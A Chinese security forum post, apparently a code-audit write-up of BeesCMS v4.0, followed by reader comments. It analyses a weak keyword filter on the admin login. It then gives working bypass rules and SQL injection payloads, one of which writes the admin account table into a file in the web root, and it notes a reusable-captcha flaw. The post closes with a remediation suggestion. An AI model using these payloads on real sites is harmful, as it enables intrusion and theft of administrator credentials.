用户
搜索
  • TA的每日心情
    无聊
    2017-3-1 18:47
  • 签到天数: 38 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    11

    主题

    115

    帖子

    730

    魔法币
    收听
    4
    粉丝
    17
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2016-9-27 14:32:25 3129119
    本文原创作者: 0h1in9e,本文属i春秋原创奖励计划,未经许可禁止转载!

    0x01 前言
    前段时间去尝试审计一款cms系统,恰巧在补天上看到有Beescms相关漏洞,于是去官网下载了个学着审计了下。后来找出了Bypass 全局防护的SQL Injection .当时心情 激动地去补天提交。结果悲催的是在我提交的前几天有人提交了。下面进入正题,大神请绕道!

    0x02 目标介绍
    Beescms企业网站管理系统v4.0。最近更新版本是V4.0_R_20160525。进入官网后直接下载了最新版本。
    在本地搭建使用XAMPP搭建好环境之后,开始了对目标系统的审计。
    所用的到工具有XAMPP、Burpsuit、Seay源代码审计系统和Chrome浏览器。
    漏洞标题: BeesCMS最新版_V4.0_R_20160525 SQL注射(突破全局防护)


    0x03 后台登录处验证码设计缺陷漏洞
    首先是后台登录页面 /admin/login.php验证码形同虚设,一次验证后在不刷新的情况下可以多次提交请求。这就为这里的注入提供了前提条件。比如下面使用burpsuit intruder进行SQL Fuzzing:

    图片1.png

    0x04 分析登录处的SQL注入
    在admin/login.php中,登录处的核心代码是:
    [PHP] 纯文本查看 复制代码
    //判断登录
    elseif($action=='ck_login'){
            global $submit,$user,$password,$_sys,$code;
            $submit=$_POST['submit'];
            $user=fl_html(fl_value($_POST['user']));
            $password=fl_html(fl_value($_POST['password']));
            $code=$_POST['code'];
            if(!isset($submit)){
                    msg('请从登陆页面进入');
            }
            if(empty($user)||empty($password)){
                    msg("密码或用户名不能为空");
            }
            if(!empty($_sys['safe_open'])){
                    foreach($_sys['safe_open'] as $k=>$v){
                    if($v=='3'){
                            if($code!=$s_code){msg("验证码不正确!");}
                    }
                    }
                    }
            check_login($user,$password);
            
    }
    看到此处对输入的用户名和密码进行的操作:
    [PHP] 纯文本查看 复制代码
    $user=fl_html(fl_value($_POST['user']));
    $password=fl_html(fl_value($_POST['password']));
    定位到函数fl_value 和 函数 fl_html : (都位于/includes/fun.php下面)
    [PHP] 纯文本查看 复制代码
    function fl_value($str){
            if(empty($str)){return;}
            return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
    |outfile/i','',$str);
    }
    function fl_html($str){
            return htmlspecialchars($str);
    }
    可以看到fl_html函数过滤了一些可能引起XSS的字符,而 函数 fl_value则是对输入的关键字进行了过滤,可以看到,几乎常用的SQL关键字都被过滤掉了,这个时候看看preg_replace()函数中的正则表达式,经过几次尝试,得到了Bypass的方法:
    具体规则如下:
    [AppleScript] 纯文本查看 复制代码
    union => uni union on
    select => selselectect
    outfile => outoutfilefile
    into => into
    ……
    同时,登录SQL执行代码在fun.php中,如下
    [PHP] 纯文本查看 复制代码
    function check_login($user,$password){
            $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");  
            $rel=empty($rel)?'':$rel[0];
            if(empty($rel)){
                    msg('不存在该管理用户','login.php');
            }
            $password=md5($password);
            if($password!=$rel['admin_password']){
                    msg("输入的密码不正确");
            }
            if($rel['is_disable']){
                    msg('该账号已经被锁定,无法登陆');
            }
            
            $_SESSION['admin']=$rel['admin_name'];
            $_SESSION['admin_purview']=$rel['admin_purview'];
            $_SESSION['admin_id']=$rel['id'];
            $_SESSION['admin_time']=time();
            $_SESSION['login_in']=1;
            $_SESSION['login_time']=time();
            $ip=fl_value(get_ip());
            $ip=fl_html($ip);
            $_SESSION['admin_ip']=$ip;
            unset($rel);
            header("location:admin.php");
    }
    可以知道字段数为5,下面通过构造语句:
    [AppleScript] 纯文本查看 复制代码
    admin' uni union on selselectect 1,2,3,4,5--%20
    可以看到返回了正常页面:(check_login可知SQL是先执行username查询之后再验证密码的,所以如下输入结果正常)
    图片2.png
    知道了这个注入规则之后,就有各种各样的注入方法了,下面我使用了一种可以直接拿到管理员账号密码的:
    如:(本地环境测试的)
    注入如下语句:
    [AppleScript] 纯文本查看 复制代码
    user=admin' uni union on selselectect 1,2,3,4,5 ''  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
    目的是在网站根目录下新建a.php文件,可以记录表 bees_admin里面的信息在a.php里面(由于函数hl_html的过滤导致不能直接上传 php木马)。效果图如下:
    图片3.png
    此时,网站根目录下面已经产生了a.php这个文件了,如下所示:
    图片4.png

    a.php里面前面的部分为bees_admin表里面的admin所对应的内容,后面的1~5则是为了补全select语法在payload里面写的内容。这样的话,就可以拿管理员登录后台了。

    当然,注入手法很多,知道了这个规则,各种注入就可以上场了。

    0x05 修复建议及总结
    fl_value函数的正则验证需要加强~虽然fl_value函数挡住了寻常注入语句,但是由于过滤不严导致Bypass掉全局的sql注入防护。代码审计过程中对于一些过滤函数类应该特别留意,尝试去绕过,往往会有意想不到的惊喜。


    评分

    参与人数 1价值分 +13 收起 理由
    zusheng + 13 价值分奖励

    查看全部评分

    本帖被以下淘专辑推荐:

    欢迎访问我的博客 https://www.ohlinge.cn
    发表于 2016-9-28 09:39:21
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!




    基本项加分项


    作者帖子标题内容要求内容稀缺性文章篇幅文章深度文章可读性是否系列文章排版优化总分奖金点评
    ohlinge【代码审计初探】beescms v4.0_R SQL223320113100RMB文章介绍的比较详细,分析到位,作为审计可以了,但是利用技巧还是有缺陷,网站绝对路径有时候你很难得到


    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    发表于 2016-10-28 13:53:09
    D0g 发表于 2016-10-28 02:47
    学习了,想问问user=admin' uni union on selselectect 1,2,3,4,5 ''  in into  outoutfilefile 'D:/xampp/ ...

    这个没有影响,可以忽略掉。当时想要加入这个才能得到后台管理,后来证明其实不需要的。
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-10-28 10:47:59
    学习了,想问问user=admin' uni union on selselectect 1,2,3,4,5 ''  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

    这中间的in前面的两个单引号是什么原因呢''?
    http://www.on-the-way.top
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    好!支持原创!
    使用道具 举报 回复
    发表于 2016-9-27 15:14:52
    感谢蛋总
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    可以的,学习了
    使用道具 举报 回复
    表哥我帮你顶起
    啊啊啊
    使用道具 举报 回复
    发表于 2016-9-27 21:16:36
    吊吊的
    使用道具 举报 回复
    发表于 2016-9-27 22:42:40

    感谢。有什么问题评论指出哈,一起讨论
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-9-27 22:42:53

    感谢支持。有什么问题评论指出哈,一起讨论
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-9-27 22:43:17

    哈哈,感谢感谢
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-9-27 22:43:29

    感谢支持。有什么问题评论指出哈,一起讨论
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-9-27 23:58:04
    感谢分享。。
    使用道具 举报 回复
    发表于 2016-9-28 08:05:40
    代码审计是个好方法
    使用道具 举报 回复
    代码审计大法好啊
    使用道具 举报 回复
    楼主,meneber那个登录会转义单引号,是什么造成的,楼主有看过吗
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册